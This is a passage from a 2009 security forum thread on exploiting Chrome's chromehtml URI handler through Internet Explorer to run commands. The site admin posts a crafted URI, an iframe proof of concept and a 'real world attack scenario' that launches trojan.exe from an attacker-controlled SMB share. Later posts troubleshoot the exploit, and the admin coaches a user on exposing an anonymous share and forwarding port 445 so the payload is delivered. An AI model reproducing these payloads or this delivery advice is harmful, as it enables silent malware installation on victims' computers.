Waraxe IT Security Portal
Login or Register
December 3, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 41
Members: 0
Total: 41
Full disclosure
Microsoft Warbird and PMP security research - technical doc
Access Control in Paxton Net2 software
SEC Consult SA-20241127-0 :: Stored Cross-Site Scripting in Omada Identity (CVE-2024-52951)
SEC Consult SA-20241125-0 :: Unlocked JTAG interface and buffer overflow in Siemens SM-2558 Protocol Element, Siemens CP-2016 & CP-2019
Re: Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> All other security holes -> IE pwning Chrome :) Goto page 1, 2Next
Post new topicReply to topic View previous topic :: View next topic
IE pwning Chrome :)
PostPosted: Fri Jan 30, 2009 11:42 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




If you have Chrome installed on your windows PC, then try this with IE:

Code:

chromehtml:"%20--renderer-path="calc"%20--no-sandbox


Another PoC:

Code:

<html><head><title>Chrome URI Handler Remote Command Execution PoC</title></head>
<body>
<h3>This is a test</h3>
<iframe src='chromehtml:"%20--renderer-path="calc"%20--no-sandbox' width=0 height=0></iframe>
</body></html>


Yes, Remote Command Execution Smile

http://www.securityfocus.com/archive/1/500586/30/0/threaded
http://packetstormsecurity.org/filedesc/chrome-sandbox.txt.html
http://www.milw0rm.com/exploits/7935
http://www.securityfocus.com/bid/32997/discuss
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Jan 31, 2009 4:22 am Reply with quote
Jetfirehack
Regular user
Regular user
Joined: Jan 31, 2009
Posts: 6
Location: x




I just tested this code locally in Chrome, but all that happens is a warning to launch an external application, and which when I click "launch" it opens up a new tab instead of calc, which I presume is what's supposed to be run upon approval :\
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Sat Jan 31, 2009 1:42 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Jetfirehack wrote:
I just tested this code locally in Chrome, but all that happens is a warning to launch an external application, and which when I click "launch" it opens up a new tab instead of calc, which I presume is what's supposed to be run upon approval :\


It supposed to be opened in Internet Explorer Very Happy
Just write that example html file, open with IE and watch the Calculator popping up. Real world attack scenario using SMB (Windows shares):

Code:

<html><head><title>Chrome URI Handler Remote Command Execution PoC 2</title></head>
<body>
<h3>This is a test2</h3>
<iframe src='chromehtml:"%20--renderer-path="\\11.22.33.44\path\to\trojan.exe"%20--no-sandbox' width=0 height=0></iframe>
</body></html>


So for attack to be successul:

1. victim must have windows op system
2. Chrome must be installed
3. victim must visit malicious website with IE browser
4. firewall and other obstacles must let SMB to deliver the payload
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Jan 31, 2009 7:35 pm Reply with quote
9SttnsGrp
Beginner
Beginner
Joined: Jan 31, 2009
Posts: 1




Janek, did you know that rgod always loved you? However, we already knew that Smile we are doing that to a lot of apps... most of them have undocumented switches, just investigating executables with PE Explorer.
btw, tnx for pointing attention to that solution
View user's profile Send private message
PostPosted: Sat Jan 31, 2009 8:49 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Hi Very Happy

Yes, this URI handler vulns stuff is widespread. I did some dig in history and there was issues allready from year 2002 Smile
I'm using IDA and other tools for reverse engineer and then analyzing commandline parsing - and yes, there is lots of hidden stuff ...
My another favorite area of research currently is ActiveX - many undocumented "features" waiting for abuse Rolling Eyes
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Jan 31, 2009 9:09 pm Reply with quote
Jetfirehack
Regular user
Regular user
Joined: Jan 31, 2009
Posts: 6
Location: x




Hmm, maybe it's just me because I just get an error with IE lolz.

The webpage cannot be displayed
Most likely cause:
Some content or files on this webpage require a program that you don't have installed.

What you can try:
Search online for a program you can use to view this web content.

Retype the address.

Go back to the previous page.



&& The URL would say:
chromehtml:"%20--renderer-path="\\11.22.33.44\path\to\trojan.exe"%20--no-sandbox
Which is pretty coool.
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Sat Jan 31, 2009 11:41 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




hehehhehe.Cool.SmileSmile
View user's profile Send private message
PostPosted: Sat Jan 31, 2009 11:56 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Jetfirehack wrote:
Hmm, maybe it's just me because I just get an error with IE lolz.

The webpage cannot be displayed
Most likely cause:
Some content or files on this webpage require a program that you don't have installed.

What you can try:
Search online for a program you can use to view this web content.

Retype the address.

Go back to the previous page.



&& The URL would say:
chromehtml:"%20--renderer-path="\\11.22.33.44\path\to\trojan.exe"%20--no-sandbox
Which is pretty coool.


You have Chrome installed, right? Try this in IE:

Code:

chromehtml:


Does Chrome pop up or not?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Feb 01, 2009 3:27 am Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




Nice Cool
View user's profile Send private message Yahoo Messenger
PostPosted: Sun Feb 01, 2009 9:40 pm Reply with quote
Jetfirehack
Regular user
Regular user
Joined: Jan 31, 2009
Posts: 6
Location: x




waraxe wrote:
Jetfirehack wrote:
Hmm, maybe it's just me because I just get an error with IE lolz.

The webpage cannot be displayed
Most likely cause:
Some content or files on this webpage require a program that you don't have installed.

What you can try:
Search online for a program you can use to view this web content.

Retype the address.

Go back to the previous page.



&& The URL would say:
chromehtml:"%20--renderer-path="\\11.22.33.44\path\to\trojan.exe"%20--no-sandbox
Which is pretty coool.


You have Chrome installed, right? Try this in IE:

Code:

chromehtml:


Does Chrome pop up or not?
Nope, nothing happens for me - and I have Chrome installed.
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Mon Feb 02, 2009 2:08 am Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




Are you sure you have calc installed? Laughing

Works for me Smile
View user's profile Send private message Yahoo Messenger
PostPosted: Mon Feb 02, 2009 12:15 pm Reply with quote
johnnycannuk
Beginner
Beginner
Joined: Feb 02, 2009
Posts: 3




-AO- wrote:
Are you sure you have calc installed? Laughing

Works for me Smile


I definitely have calc installed and I'm getting the same error message - it doesn't matter whether I get it from a local file of served from a local web server.

Check you IE settings, maybe there is some setting you guys have that we don't/ My IE definitly doesn't know how to handle Chomehtml:
View user's profile Send private message
PostPosted: Mon Feb 02, 2009 1:25 pm Reply with quote
UXo
Beginner
Beginner
Joined: Feb 02, 2009
Posts: 4




Waraxe , I need some help about the execution of an other file , I have try some test to check if it will poped or not , It doesn't working . .

Code:
chromehtml:"%20--renderer-path="\\URL.com\trojan.exe"%20--no-sandbox


can I got a solution about this?, Thanks in advanced.


/UXe
Cool
View user's profile Send private message MSN Messenger
PostPosted: Mon Feb 02, 2009 1:47 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




johnnycannuk wrote:
-AO- wrote:
Are you sure you have calc installed? Laughing

Works for me Smile


I definitely have calc installed and I'm getting the same error message - it doesn't matter whether I get it from a local file of served from a local web server.

Check you IE settings, maybe there is some setting you guys have that we don't/ My IE definitly doesn't know how to handle Chomehtml:


If "chromehtml:" in IE will not trigger Chrome, then you just don't have chrome URI handler installed to your system registry ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Feb 02, 2009 1:50 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




UXo wrote:
Waraxe , I need some help about the execution of an other file , I have try some test to check if it will poped or not , It doesn't working . .

Code:
chromehtml:"%20--renderer-path="\\URL.com\trojan.exe"%20--no-sandbox


can I got a solution about this?, Thanks in advanced.


/UXe
Cool


This is not http protocol, it's SMB (windows shares). Attacker must use ip address to windows box with shares open to Internet. SMB port 445 must be not blocked by firewall, use port forwarding in router if needed. Share must be accessible anonymously, without credentials.
Have you tried local version with calc or cmd? Does it work locally?
View user's profile Send private message Send e-mail Visit poster's website
IE pwning Chrome :)
www.waraxe.us Forum Index -> All other security holes
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 2
Goto page 1, 2Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.046 Seconds